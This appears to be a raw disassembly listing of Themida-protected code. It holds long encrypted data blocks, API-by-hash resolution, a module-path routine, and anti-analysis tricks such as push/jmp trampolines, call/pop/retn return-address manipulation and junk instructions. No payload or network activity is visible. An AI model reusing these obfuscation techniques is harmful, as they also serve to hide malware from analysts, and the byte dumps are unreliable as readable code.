463C378Bh, 7653CFA6h dd 0D9CD0ABDh, 949D34CFh, 7302B6EBh, 0FAEB97CCh, 3, 326D5F52h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89522434h, 4C281E2h dd 83000000h, 148704EAh, 3C895C24h, 3D116824h, 34890000h dd 31B85024h, 8311BF34h, 0D140FFE8h, 1D22DE0h, 0C7891D68h dd 4EC8358h, 83242489h, 5E042404h, 8468F57h, 5E2434FFh dd 4C481h, 34FF0000h, 0C4835F24h, 0FEA6E904h, 9247FFF9h dd 7AB77EB7h ; --------------------------------------------------------------------------- loc_5B3638: ; CODE XREF: Themida_:loc_5B1A3Cj mov eax, 616815Dh add eax, ebp push eax mov byte ptr [ebp+61023E5h], 47h push 0CF381725h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax mov ebx, eax lea eax, [ebp+6102B01h] push eax push 104h call ebx mov byte ptr [ebp+61023E5h], 53h push 8307F8BFh push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax mov [ebp+6166470h], eax cmp dword ptr [ebp+6103105h], 0 jz loc_5B36A2 mov ebx, [ebp+6102089h] jmp loc_5B36A7 ; --------------------------------------------------------------------------- loc_5B36A2: ; CODE XREF: Themida_:005B3691j mov ebx, 0 loc_5B36A7: ; CODE XREF: Themida_:005B369Dj push 100h lea esi, [ebp+6166474h] push esi push ebx call dword ptr [ebp+6100245h] lea esi, [ebp+6166474h] add esi, eax jmp loc_5B36C8 ; --------------------------------------------------------------------------- loc_5B36C7: ; CODE XREF: Themida_:005B36D4j dec esi loc_5B36C8: ; CODE XREF: Themida_:005B36C2j cmp byte ptr [esi], 5Ch jz loc_5B36DA cmp byte ptr [esi], 2Fh jnz loc_5B36C7 loc_5B36DA: ; CODE XREF: Themida_:005B36CBj mov byte ptr [esi], 0 lea eax, [ebp+6166474h] push eax call dword ptr [ebp+6166470h] pop eax jmp eax ; --------------------------------------------------------------------------- db 6Eh, 8Fh, 0E6h ; --------------------------------------------------------------------------- adc eax, ebp sub esi, ecx or [ebx], ch ficom dword ptr [esi+ecx*2] jmp loc_5B3742 ; --------------------------------------------------------------------------- dw 2241h dd 8C9332DDh, 0E89DE61Dh, 746E2E81h, 2E6C6C64h, 6C6C64h dd 0B2BD1467h, 0FEB98003h, 9 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B3742: ; CODE XREF: Themida_:005B36F9j jmp loc_5B3E2D ; --------------------------------------------------------------------------- push 6168410h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61684D7h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616859Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616868Fh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616875Fh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6168849h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 1Ah dd 2793578h, 2097134Ah, 0FD7C3069h, 0CA510D4Ah, 7573E726h dd 0EA29DB09h, 546E76Eh, 0E11CD249h, 35EE6Dh, 0AC5F614Ch dd 6BDAFF16h, 0D72BF1EEh, 7F2A6104h, 6DCC7CC3h, 772B4723h dd 2863DEFBh, 0D9000000h, 2A447932h, 0A5E28554h, 3C8675F1h dd 0D86DCC7Ch, 0F3CF10C1h, 0FAB128D6h, 0E46209C5h, 396DCC7Ch dd 0CF0CBF95h, 5CB137F3h, 5D4C1EBDh, 67FC0FB0h, 771ED24Eh dd 942391CFh, 0FBFE952Eh, 397B48B2h, 25192h, 0D7D2AC00h dd 94239D6Bh, 0F2BA8F8Bh, 216004D7h, 0DB5C724Ch, 0DECD9F3Ch dd 67FC2045h, 99420561h, 5871781Ch, 2B45961Dh, 3D3B9780h dd 0D9F36F52h, 8571AC62h, 66DCCFA1h, 7E427D5Dh, 0ECD9C5A2h dd 4D3C0ECDh, 484AA06Fh, 342E675h, 5E2F34E6h, 2B2F5B2h dd 0F9C09AB6h, 94C98252h, 0EC6084E0h, 0DC81B66Dh, 9A75CA5Eh dd 12736430h, 22000005h, 2AB12D70h, 88F4B82h, 25B42861h dd 12894582h, 0BDAB1F5Eh, 32711341h, 0D4EFF76h, 0E924CA51h dd 83DE675h, 0A4675954h, 6BDAF81Eh, 0D733F9F6h, 7A265B04h dd 0B15AE1F6h, 0F869627Ch, 4D865B55h, 0A81D09DEh, 0BBB0CA11h dd 0FFCBF98Ch, 0D978654Eh, 3E767EA4h, 3CEF11E6h, 67FCBDFFh dd 21581087h, 59D5F175h, 0F05C4687h, 0B082B803h, 0A7AD039Bh dd 44307114h, 5B7A0BE0h, 26BB6E80h, 9E9E0C93h, 1A2F641Bh dd 0A2490C68h, 67913ACBh, 0CAA437BEh, 487F25B4h, 0DA9F7833h dd 0FB773CBEh, 0C01BBA07h, 43DDFBAEh, 492532C9h, 0C6FBA437h dd 53562812h, 22D340EFh, 854E2B07h, 2C44A9DEh, 0E2FCF7C5h dd 44BA132h, 0AB5B0000h, 0BF65F468h, 0A045D488h, 0BF64F367h dd 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h, 0C478B96Ch, 0E2569135h dd 0C377AC53h, 8D35F4C8h, 696BDAF8h, 7932C08Ch, 0E0D1733Bh dd 0CEF26476h, 51863DFCh, 0FAACC1A5h, 13EDEE05h, 989FC7DAh dd 0F9B059B4h, 96D1956h, 0C81D0CF4h, 5667FC9Bh, 75B255E4h dd 3CFB3C86h, 785CD894h, 8D585FC4h, 3CFB249Eh, 8064C094h dd 79E0BB6Eh, 9E7A9E06h, 8327B2CCh, 0A2BEF9ADh, 0DE5572EEh dd 623CF025h, 0E1F635D7h, 2CE1B15Ah, 3EFDCFF3h, 0DB574B8Ah dd 24B300FEh, 0D0BBA5B7h, 9E167872h, 63B19692h, 0FA25F406h dd 4F3A1E3Bh, 94263642h, 1C5B0D84h, 0D7EB9338h, 91855E22h dd 38408h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h, 87C467EEh dd 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh, 54E35792h dd 0C7C276ABh, 0F98C36F5h, 8B686BDAh, 447932C1h, 87546350h dd 5B9B675h, 3E5567FCh, 0DB574B8Ah, 0D9C243F7h, 0EE000001h dd 8AA91910h, 0D14D9423h, 0C41530FCh, 306F2198h, 65A24544h dd 0EB22CA81h, 0BF1E3B37h, 0B7C9A338h, 0CC7C4EF4h, 0FBC1A66Dh dd 248C5CB6h, 1D7F4D0h, 69A85CDFh, 4F02B9BDh, 0D152390Eh dd 0F567FCBDh, 0F10DBE79h, 0F0896109h, 6D8F2E9h, 0FF9131D8h dd 0F975697Fh, 540D07D4h, 8C6102FBh, 4F0C629Fh, 56280463h dd 0C3FCB128h, 6E8B6ED4h, 0CDAA8693h, 6D5E4D1h, 994AF7F4h dd 6CD1F011h, 9AC2698Fh, 6A995982h, 1B111F8h, 0D9559542h dd 0AF58E3FDh, 9037BE7Ah, 1ED207C0h, 0DBB91E42h, 754B6684h dd 29338A1h, 3A30000h, 0D78D0CC0h, 0F8AD2CA0h, 0D78C0BBFh dd 0F5971E9Ah, 0F80402B6h, 33A7E68Ah, 0CC001A4h, 2A9ED98Dh dd 0BBFF4ABh, 0D56D1C20h, 316BDAFAh, 0A9D7E8B4h, 50447932h dd 7C9D25D4h, 0FD796DCCh, 77AC53E0h, 0A19F368Bh, 60C4B0EFh dd 7ABF6A84h, 0C67FC12h, 0B6009C10h, 2739A231h, 13C9FF64h dd 0CA80179Eh, 637FE38Fh, 53AE6489h, 2F9A35A9h, 6BEE9D1Ah dd 0F66DF566h, 0BF0306DFh, 57093166h, 0B80A01DBh, 5C093166h dd 1F0AE400h, 30103E2h, 0F932D762h, 4E421EE4h, 6BAC5DDCh dd 316820B7h, 0EA53815h, 0D0F8B3CDh, 3039177Ch, 0B7311A34h dd 72D0BB19h, 92351519h, 35EBB196h, 0B9805875h, 0DA61DD12h dd 0BB4FFC31h, 0F5EB3159h, 1C3B821h, 33D30000h, 7BD3CF0h dd 28DD5CD0h, 7BC3BEFh, 0E5870ECAh, 0C83432A6h, 3B7F69Ah dd 1C90D174h, 0FAAEE99Dh, 1B8FC47Bh, 0E55D4C30h, 16BDAFBh dd 793218A4h, 0EDDE5044h, 6289BFCEh, 9CE9FE17h, 728C5E7Dh dd 0E6259D8Ch, 0CAC16DCCh, 3A36EA23h, 954A4116h, 3167FC92h dd 0A6A77935h, 1B97C0C0h, 98344921h, 4C1EBD5Ch, 0F6FE185Dh dd 0B0CAA667h, 1C570BCEh, 96CB743Fh, 1453F5C4h, 4FF87F37h dd 0B38FCC7Fh, 0EFE3F2BFh, 1FD246EFh, 24C9F9DEh, 0C39DAF93h dd 371455F8h, 1F93194Ch, 61BCA19Eh, 7DB46CAEh, 7AC0AD89h dd 0F00AE694h, 99A71B0Eh, 483F9E1Eh, 6F8C68A1h, 4919D289h dd 0BBB76BA4h, 0EB942397h, 0DEF5CAB6h, 826EAF62h, 31A8C29Eh dd 5028457Ah, 2EE06459h, 5A0B8294h, 0ED096D19h, 2A258080h dd 8D160E5Eh, 0D9h, 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h dd 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h dd 6E523DF1h, 0DAF407BBh, 3A02DF6Bh, 0E283BD5Ch, 6F236206h dd 0D9F3CFF3h, 0F6FE0332h, 7B270367h, 63943A01h, 25011AA8h dd 421EFA94h, 0C0F5AE25h, 0A1D68D0Ch, 50527BF5h, 4BB00F17h dd 0E0F09BB0h, 3DC9EA03h, 0BD66CF66h, 9E45D488h, 0F2699769h dd 0AA18FF3Eh, 4AA8D182h, 0B50DFCCEh, 51A8D182h, 3406F8D5h dd 10C700A5h, 0D691D5Ch, 83C063F0h, 0B9F98469h, 557E1366h dd 0E3F82DD6h, 6302B123h, 0F130D467h, 8F4C2105h, 0B027A3D8h dd 5CCEC2F7h, 0D516B782h, 0EC564521h, 8A8D1CAh, 0F4A0DF91h dd 32D55470h, 482501F5h, 899h, 6E14A700h, 5F8E1633h, 3D80326Dh dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h dd 448126A5h, 5B943950h, 417830A7h, 5450CF55h, 40558h dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h dd 3C895C24h, 70E6824h, 0C890000h, 1EB85024h, 0F70F8138h dd 43BC0DD8h, 2D405D64h, 218A5FEEh, 0E4FA2D40h, 5F50D5DDh dd 0C8B5458h, 4C48324h, 4EC81h, 3C890000h, 8418F24h, 592434FFh dd 0FF04C483h, 835F2434h, 0B9E904C4h, 80FFF9F6h, 6774E65Dh dd 0F48589DEh, 0D3472AEFh db 0F0h ; --------------------------------------------------------------------------- loc_5B3E2D: ; CODE XREF: Themida_:loc_5B3742j mov eax, 6168947h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 89E9h db 0CCh db 37h, 0D7h, 83h dd 0AEF03954h, 0F7FE7B24h, 7B080A1Ch, 34650937h, 39712821h dd 0D4384DECh, 51B03A40h, 672E230Bh, 1B185E64h, 0FA7B13D8h dd 874D1163h, 0F9F9261Dh, 0B93D6F32h, 68B81876h, 0BFDE6488h dd 71426F8h, 4F1205Ch, 87EB1B37h, 5A404D2Eh, 966F512Ah dd 2F095860h, 1EAA240Ah, 0D720343Bh, 21B817B0h, 11E80DAFh dd 3C000000h, 0E9C702EFh, 0A9010129h, 0FCF2A1FAh, 2026B4BFh dd 4F5C8EBBh, 97BF5E2Ah, 8159EA2Bh, 5FD3C6h, 0FE86000h dd 21000000h, 77D21670h, 78195D6h, 90C7532Bh, 6160A328h dd 3820F5Eh, 66000000h, 2B61C88Bh, 0C38166D2h, 34FFAD9Ah dd 0E959F932h, 9, 8ED918ACh, 1845A44Ah, 0FE981D8h, 0F5D59CBh dd 38Bh, 0FBBF0F00h, 494FE981h, 8B665232h, 5DE981D9h, 895DE29Bh dd 0B0BF160Ch, 0F3F91D8h, 8Ah, 2EA8300h, 0F4A4AF5h, 0FA81D8BFh dd 0FFFFA0F4h, 19850Fh, 0F88B0000h, 25E9h, 0C8EB3900h dd 0EF020732h, 0BB55E828h, 0B933E0F1h, 0F5F95A12h, 0FFFF8DE9h dd 1ECF5CFFh, 7B49F7B4h, 0AE078E6Ch, 25E947B4h, 5D000000h dd 7B42ECh, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B43E6 ; --------------------------------------------------------------------------- push 6168C4Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6168CCEh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6168DF3h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0E2h dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h dd 6BDAF7DEh, 0D7F3B936h, 6F235E04h, 0AB5DD6F3h, 0B259926Ch dd 0C2BBA547h, 0B7CED0ADh, 25FDB10h, 1316E8F3h, 67FCC48Eh dd 0A7324C28h, 0F5B1C605h, 3CC418A6h, 29C8FB94h, 7A7E01CCh dd 2B4E139h, 152B0000h, 8227B2BAh, 9182CE40h, 0A1C5249Bh dd 0F233D6F5h, 4D6CF9CEh, 0C68FBC8Eh, 1C258DFDh, 4B3E2237h dd 67FC0CD6h, 845A74F0h, 3C753D85h, 805DD994h, 0EB3708AFh dd 0A3329159h, 32632638h, 0CC9B76B3h, 0C84FA450h, 0E195D478h dd 718F6185h, 0ED0A43EAh, 86B9FE36h, 0E1919691h, 0C9927265h dd 284137C1h, 0DAF6F26Ah, 0B66AA95Bh, 87C496BAh, 0A8E1A77Ah dd 0C197B415h, 0A01C51FAh, 0E9A27219h, 483C7319h, 181C08ECh dd 4A2D8F3Ch, 53434383h, 27242h, 0FF42E400h, 0DD14CC4Bh dd 0FA33DA61h, 0D714B73Eh, 0F130D463h, 0C1334F3Dh, 0DD5CD00Fh dd 0E86FEB2Ch, 0C4530742h, 7772E61Bh, 0F03C8685h, 0DBD86BDAh dd 15BD5C51h, 0A467670Bh, 6DCCD61Eh, 7F4D7AF6h, 0EB05E191h dd 0F6559A40h, 0DCEE6A67h, 4E943702h, 87BE4095h, 0E3FDD9DFh dd 261C9A28h, 0C99E7A94h, 0DF845E12h, 4E72EEA2h, 6AA95BDAh dd 1C54EFB6h, 40E79426h, 62705E0Bh, 61E4A03h, 1F29Dh, 7FC26400h dd 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h, 41B3CFBDh dd 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh, 0F0BC0605h dd 5B586BDAh, 83BD5CD1h, 8D449DDDh, 39BA2B0Fh, 3927391Dh dd 0E95314h, 8B603F04h, 0F6E73AA0h, 0A24ECA67h, 25A94BF3h dd 7A19AA94h, 81552E7Fh, 1400E39h, 327C0000h, 39504479h dd 0D20BC292h, 0AA1E421Eh, 431DBE55h, 7B32301Dh, 0BE3DAA25h dd 68D902A9h, 312D67FCh, 1FA81645h, 0F54B943Ch, 2AA5DF8h dd 0A6C34599h, 327B7E15h, 0A2397A8Ah, 260835A9h, 2F3C7B23h dd 995A2C5Dh, 0B315320Eh, 23h, 83BD5C19h, 0B1CBA7DCh, 0FC7CD9FAh dd 35E13D67h, 2383D866h, 0E9883B94h, 7B36C10Ch, 8DA139h dd 0D7EB0000h, 740FEB96h, 6E32A7Dh, 0B561964Dh, 0C4D00BBh dd 0E6C064EFh, 79100441h, 89ED99D6h, 0FE9D896Dh, 65641045h dd 16D589BEh, 6DCC648Ah, 0BB6FA45Bh, 728C4F66h, 0FAD189B7h dd 0F30D6967h, 0C985C468h, 1DC49E52h, 655B00E4h, 2B4A04A8h dd 0CD6A7Bh, 8F3F0000h, 6309904Ch, 8429B02Ch, 63088F4Bh dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h, 8E4A8529h dd 0AF2B6007h, 79C9C0BCh, 9D6BDAF1h, 7E327440h, 530C8B3Fh dd 321CAA1Eh, 0AF2A4479h, 0FDA9BEFDh, 0B25525DEh, 88DD5175h dd 99906A71h, 67FCCAA8h, 41F8D24Eh, 2DDC508Fh, 9423CD91h dd 14C8FDA6h, 0BDFEAF2Ah, 0C3906DC9h, 3C2EE221h, 6A03F50Fh dd 0A2B789ADh, 5227h, 0BD5C9500h, 0F95D4C1Eh, 567F687h dd 0A55E7D29h, 863DBC70h, 95F6A551h, 8E1151AAh, 2DBEF9F2h dd 9BE3C1A1h, 0DF46DDBEh, 0C037F328h, 0A71ED207h, 0C9DBC704h dd 0F19A9B3Ah, 7017A2BCh, 8EC37C3Bh, 0CD7605B9h, 620E49FDh dd 0A52EE2FEh, 3, 326D5F17h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 2E68243Ch, 89000077h, 8952243Ch, 4C281E2h, 83000000h dd 148704EAh, 1C895C24h, 47B95124h, 0C1565955h, 0F75103E9h dd 81592414h, 225E07F1h, 59CF89F3h, 4EC81h, 24890000h dd 24048324h, 89525B04h, 85389FAh, 8124148Bh, 4C4h, 241C8B00h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5F2434FFh, 4C481h dd 1E90000h, 0CCFFF9F1h, 68FAE62Bh, 41C83024h, 0C8E699DBh ; --------------------------------------------------------------------------- cmpsd cli loc_5B43E6: ; CODE XREF: Themida_:005B3F98j mov eax, 6168EE5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- cld add [ebx+42h], esp adc [esp+ecx*8-5FE72BA5h], edi daa lea ecx, [ebp+6169055h] jl loc_5B440D mov edi, [ebp+6102A89h] loc_5B440D: ; CODE XREF: Themida_:005B4401j mov [ebp+61009F5h], ecx jz loc_5B441C sbb bh, 38h loc_5B441C: ; CODE XREF: Themida_:005B4413j mov dword ptr [ebp+6102319h], 6698h push 0 push esi call sub_5B4431 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4431 proc near ; CODE XREF: Themida_:005B4429p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B4431 endp ; --------------------------------------------------------------------------- db 0CFh, 30h, 4Dh ; --------------------------------------------------------------------------- sar cl, 1 fcmove st, st(5) mov [ebp+6100CB1h], edi mov dword ptr [ebp+61022C1h], 0 push 0 push ecx call sub_5B4463 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4463 proc near ; CODE XREF: Themida_:005B445Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B4463 endp ; --------------------------------------------------------------------------- db 7Eh dd 2AECADF1h, 6E9C6h, 5EF10000h, 0B2B3B5DDh, 232DB5FFh dd 81660610h, 0FF2930EAh, 102DB995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 1317C8B6h dd 80BFA89Ah, 0FF006ADAh, 1031C995h, 0EBC08B06h, 637B0679h dd 28048559h, 0B651AA7h, 4082700Dh, 70E691DCh, 0BCC08025h dd 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh, 20FC8D7Ch dd 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h, 3C8EB3B1h dd 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h, 63E6029Ch dd 1AAD7FDAh, 8885D5D3h, 8D17A2E5h, 0D85A4BF5h, 68CD2151h dd 50BC0EB1h, 262E56EFh, 2E599ACAh, 0CA7C70A7h, 8D8D3108h dd 6169191h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 32C35646h, 0D8AC7415h, 0F059D89h, 8D890610h, 61009F5h dd 0C7C68166h, 1985C701h, 4061023h, 6A00006Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2D7DC351h, 85C762AEh, 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B45B3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B45B3 proc near ; CODE XREF: Themida_:005B45ABp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B45B3 endp ; --------------------------------------------------------------------------- adc eax, 51B5FFD3h pop ds adc [esi], al push 0 push edx call sub_5B45D6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B45D6 proc near ; CODE XREF: Themida_:005B45CEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B45D6 endp ; --------------------------------------------------------------------------- dw 0F672h ; --------------------------------------------------------------------------- push ebp call dword ptr [ebp+6102DB9h] mov esi, [ebp+6100A59h] push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5B464F ; --------------------------------------------------------------------------- db 0F2h, 51h, 9Bh dd 5CF241A1h, 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 3515DD7Eh dd 6C3DC529h ; --------------------------------------------------------------------------- loc_5B461C: ; CODE XREF: Themida_:005B4677j or [ebx], dh inc ecx or al, 11h test [esi], dh sub [eax], eax aad 34h cmc in al, dx push edx xchg eax, edi dec edx add esi, [ebp-70h] push ss xor dh, ch call far ptr 39ACh:3B3B4FAh hlt ; --------------------------------------------------------------------------- dw 2063h dd 5EF6ED3Bh, 6FBA1F74h db 23h, 14h ; --------------------------------------------------------------------------- loc_5B4646: ; CODE XREF: Themida_:005B4690j in al, 0F6h pop es push es xor eax, 70DA4A5Ch loc_5B464F: ; CODE XREF: Themida_:005B45FFj push ebx and eax, 0BF5DB161h and dh, [ecx+1A0C56AEh] pop ecx add ds:550CC3E1h, cl mov gs:[esi+edi*4+324AEB3Bh], al mov cl, 33h push esp cmp esi, [ecx+305256BAh] mov dl, 0CBh nop scasb loopne loc_5B461C push ebx mov cl, 57h pop ecx mov ch, 0BCh stosd push esi xor bl, [eax-23h] push esi xor dh, [ecx+4E4AD3EFh] cmp eax, 9270B311h db 64h jz short loc_5B4646 push eax push esi xor dh, [ecx+1185A2C3h] mov byte ptr [ecx+edx*8], 95h db 66h jnp short loc_5B46EE fcomp qword ptr [edi] mov esi, 56EAB13Eh les esp, [ecx-21D0F3F5h] mov dh, 91h xor [ecx-78h], edx retn 333Dh ; --------------------------------------------------------------------------- db 0AEh dd 9B13256h, 0A4B13237h, 0D5B124DDh, 0EAA0DB56h, 0E5E93256h dd 7877A6A5h, 93DA7F7Bh, 0C195C70Ah, 573E90BBh, 0ABA2DB56h dd 0CB673256h, 9893056Bh, 73FC0466h ; --------------------------------------------------------------------------- test [ebx], esi loc_5B46EE: ; CODE XREF: Themida_:005B469Fj cmp ah, ah mov eax, ds:20CB2FF1h xor dh, [ecx-4EC64032h] push edi push esi sbb al, 27h sub eax, 0CC2B3812h add eax, [eax-46A6CE2Fh] mov bh, 75h push esi xor dh, [eax] push esp std mov eax, esi xor eax, 0CEB13237h mov edi, 5657B120h std fdivr st, st(4) hlt ; --------------------------------------------------------------------------- db 53h, 50h, 0E5h dd 5D18C619h, 56BDB969h, 315045B5h, 5DB1538Ch, 0AEBBBA59h dd 0E1D13256h, 0AB3F3DE6h, 0B4B13256h, 0EAB9DB36h, 0A9623256h dd 0E494BCECh, 3C4D8A7Fh, 0AEEB7CCAh, 0B8B13256h, 3013B3E0h dd 0DAD13256h, 0EAB134D2h, 1257B356h, 2E8A760h, 32AA8BDh dd 0F29DA837h, 36438D56h, 2ABE3256h, 0D5B1325Ch, 0EAB137BFh dd 27DAE356h, 53D1D11Ah, 5DB1325Dh, 436133A0h, 0CAC71ABBh dd 0CB9274F2h, 0D5B137BEh, 3CA34F56h, 0C3EACAACh, 0BAD053DAh dd 5DB1CB56h, 0AEB13CBFh, 300BD556h, 2AA6C422h, 0B5718667h dd 8AC8414Fh, 0BC25E4D7h, 31D7245Fh, 5DB15394h, 0EB57B336h dd 37C7EE3Ch, 0ABB13EBFh, 0E4FAE856h, 0F8EDAF08h, 98860C89h dd 596F8B2Ch, 3CD035CAh, 0AEB0B859h, 57493256h, 0ABB1CE56h dd 0D5B13ABFh, 0C94BF156h, 3C24DC27h, 0B5B132BFh, 5DB13AD6h dd 0AC303D56h, 37B13256h, 0A4B13237h, 0D5B133D7h, 0E458C756h dd 95B13256h, 0B34C69Dh, 0BF8ACDF7h, 20EB7BD2h, 37B132D3h dd 266585EFh, 0B442B974h, 63BE3256h, 75B13241h, 0BAB120BFh dd 9A75E556h, 4FB6955Dh, 57AFB188h, 0A61653A6h, 3CF15182h dd 0EAB13251h, 0A11E3FEEh, 0BABC7A13h, 4E585256h, 67B13256h dd 0FC45D32Bh, 0CBEE208Ah, 0DC947998h, 0C2A0FA36h, 0F4D7B87Ch dd 0DB8A6DB0h, 5D4D3256h, 64305256h, 5EAC8E69h, 0ABB13FBFh dd 5F5F3E56h, 7E7CEEDh, 6ACAA075h, 0BAD0706Dh, 5C333D56h dd 5BB13256h, 57493256h, 0ABA2DB56h, 49F93256h, 0A96B7DA0h dd 8E04A7F4h, 0EDE20968h, 0A95BF64Ah, 0B9373D0Ch, 0BEB13256h dd 0ABB13244h, 0A78B247Eh, 777B896Eh, 0AE12BCC6h, 0B99437D5h dd 5DB1F0E8h, 52B132A3h, 0AFD13256h, 0A4D0D6E0h, 0D5B133D4h dd 0EAB1CE56h, 75B13EBFh, 36A1356h, 0C868537Ch, 8E6B28CCh dd 0BEB1325Eh, 0ABB1325Ah, 1E2009B2h, 4F2FC261h, 63EDF386h dd 0BAB138BFh, 5F3A8756h, 43E2CB1Dh, 55C01F28h, 0ABB13256h dd 0DDB6E5A3h, 0EDB13056h, 64B13D56h, 46B13556h, 0A8B13254h dd 0A5363D37h, 0BEB13256h, 0ABB13250h, 0D0FFE113h, 0EAB1C754h dd 89B132AEh, 53D13256h, 5DB13258h, 4CE96C64h, 83005CA5h dd 4F13B2E1h, 0B3D1C7E2h, 6CBEE4DDh, 75B13256h, 0BAB15337h dd 5D3C3D36h, 0C8B13256h, 57D0CCDDh, 0A7595256h, 0BB13256h dd 87E1980Fh, 0F0550BEAh, 0DCF18B77h, 0FE8F3DDh, 0AEB137BFh dd 9A53C856h, 0CAE8937Dh, 0D5483256h, 0EAB37856h, 75B0BC59h dd 0BA4D3256h, 0DDB37856h, 15EE17A6h, 316F329Ah, 0CBB13237h dd 0D5B8DA00h, 0A8363256h, 11D69880h, 0E5BA847Fh, 5F333D08h dd 18B13256h, 372153E5h, 100680E6h, 82D16237h, 61EAFAE6h dd 6E21538Eh, 4D47A3EEh, 0CE33FF32h, 417FFB86h, 5C6BB7AAh dd 20D76A0Ch, 85E1538Eh, 0EAA2DB04h, 596E3256h, 0A24AB8A3h dd 99666427h, 9EC2D0FBh, 0B7E1CFFh, 0FB803D33h, 0D5B8DB04h dd 78AC3256h, 0ABA85235h, 0B564BEE9h, 7D05267h, 3CE9680Eh dd 5E1620Eh, 0ABB13BBFh, 86F3BF56h, 453FBBC6h, 44BE77EAh dd 26BC8536h, 5DB137BFh, 318FCB56h, 973187BAh, 0ABB7DB8Eh dd 42A73256h, 0D9135FD2h, 2DEB53CBh, 8BBE41C6h, 5DB126BFh dd 94D46E56h, 51507ABDh, 39ACC691h, 0BA85235h, 64BEE9h dd 2DE9688Dh, 40942ED9h, 853054FDh, 0A2587390h, 0E3B13256h dd 8B92608Bh, 99CEAC8Fh, 772A98C3h, 14468559h, 9EE96A0Ch dd 0FE15252h, 4B5D8930h, 983A0359h, 0A7596A0Ch, 51B13256h dd 1A82903Bh, 693EDC3Fh, 0DC1AC873h, 310B5EEh, 0AEB16A37h dd 34232FA2h, 146F2B36h, 0E5BE7DAh, 9F41060Eh, 664ACAD9h dd 8FECFBA8h, 5DB153B7h, 0AEA5BB59h, 0D6BE3256h, 0ABB13258h dd 0D5B13BBFh, 0B9224256h, 8569E1B9h, 0BA4969FFh, 53595256h dd 48B13256h, 6F6AAAEh, 831BF340h, 7694D74Bh, 35063DAEh dd 75B1530Fh, 0BAB135BFh, 0E351F456h, 0DA8E28D7h, 5F583256h dd 3B13256h, 169C42A8h, 8A68B7DAh, 0CB6DCDEEh, 0BAB15329h dd 0BF305436h, 56D08B15h, 57443256h, 0BA313D56h, 3CB13256h dd 0EAB1325Ah, 0AECFC124h, 0FAAA420Ah, 579B9AE9h, 0AEB135BFh dd 773E9F56h, 0A03CEE1h, 0B3D13256h, 8CE1F9DDh, 14EEEADDh dd 0BAB9BB59h, 52D13256h, 0AEB132D0h, 57B15356h, 0AD3E3DAAh dd 0B5B13256h, 31063DAFh, 8DB13237h, 0BA4D3256h, 5C323D56h dd 57B13256h, 0D4BE3256h, 0ABB13257h, 20B132AFh, 63BE3256h dd 75B1325Ch, 753A5436h, 9D68B330h, 0AEB153F4h, 0E9BB8536h dd 8862A8AFh, 0DAB13237h, 0EAB13AD4h, 77383D56h, 0DAB13256h dd 0A4B13237h, 0A1D13256h, 57B133D7h, 0A259CE56h, 0F4B13256h dd 0FF71DDBCh, 137C4D6Ch, 0DBEEC8E1h, 5D493256h, 0A9343D56h dd 37B13256h, 0CB738D59h, 0D5B15337h, 87848D36h, 75D06595h dd 0AF363D56h, 0B4B13256h, 0AEB13246h, 0A8E7FCD3h, 0A42C11D0h dd 89893F35h, 4CA4E6E9h, 